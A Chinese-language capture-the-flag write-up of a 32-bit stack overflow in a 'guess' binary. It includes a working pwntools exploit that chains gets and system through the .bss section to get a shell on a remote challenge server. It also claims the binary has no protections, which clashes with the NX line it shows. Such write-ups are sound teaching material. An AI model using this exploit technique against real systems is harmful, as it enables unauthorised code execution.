前言
这是一个简单的栈溢出,虽然刚开始确实有点小蒙,但做完还是很好理解的
题目解析
先分析文件
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
32位的,没有开任何保护
然后看下面这段代码
char *Start()
{
char s; // [sp+Ch] [bp-6Ch]@1
puts("You'll get unexpected surprises");
printf("Do you want to try it?");
return gets(&s);
}
很明显,gets函数有栈溢出的漏洞
但是在IDA中观察,并没有/bin/sh的字符串,所以只能自己构造了,
可以发现,在.bss段,有个buf2,
这样的话,我们的思路就清晰了
- 利用缓冲区溢出
通过覆盖返回地址,控制程序执行流,将返回地址覆盖为gets函数,以便将/bin/sh写入内存 - 链式调用
通过设置gets的返回地址system,实现函数链式调用,先调用gets,再调用system - 参数传递
get和system都需要参数,通过栈传递参数,将.bss段的地址作为参数传递给gets和system
EXP
from pwn import *
#io=process('./guess')
io=remote('1.95.36.136', 2057)
elf=ELF('./guess')
padding=0x6c+4
gets_addr=elf.sym['gets']
system_addr=elf.sym['system']
bss_addr=0x804a080
payload=padding*b'a'+p32(gets_addr)+p32(system_addr)+p32(bss_addr)+p32(bss_addr)
io.sendline(payload)
io.sendline('/bin/sh')
io.interactive()
此时的栈布局如下
偏移量 | 内容 |
---|---|
s的起始地址 | padding*b’a’ |
返回地址 | gets函数的地址 |
gets返回地址 | system函数的地址 |
gets参数 | .bss段地址 |
system参数 | .bss段地址 |
总结
主要还是如何构造payload,理解了这个这道题不是问题